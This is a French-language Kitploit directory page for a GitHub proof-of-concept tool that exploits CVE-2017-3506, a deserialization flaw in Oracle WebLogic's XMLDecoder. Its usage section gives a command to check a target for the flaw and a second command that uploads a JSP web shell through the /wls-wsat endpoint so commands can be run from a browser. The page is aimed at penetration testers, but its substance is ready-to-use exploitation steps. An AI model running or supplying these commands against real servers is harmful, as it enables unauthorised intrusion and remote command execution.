Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-3506 — CVE-2017-3506 | Kitploit
Outils/GitHubGitHub/al1ex/cve-2017-3506
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubal1ex/cve-2017-3506

CVE-2017-3506

CVE-2017-3506

Voir le dépôt
1016il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Qu'est-ce que c'est ?

Ceci est une PoC de CVE-2017-3506 (sérialisation XMLDecoder de Weblogic)

Comment l'utiliser ?

Vérifier la vulnérabilité
java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001

check

Obtenir un shell
java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

GetShell

Ensuite, vous pouvez exécuter la commande via le navigateur :

execut_command

Télécharger l’outil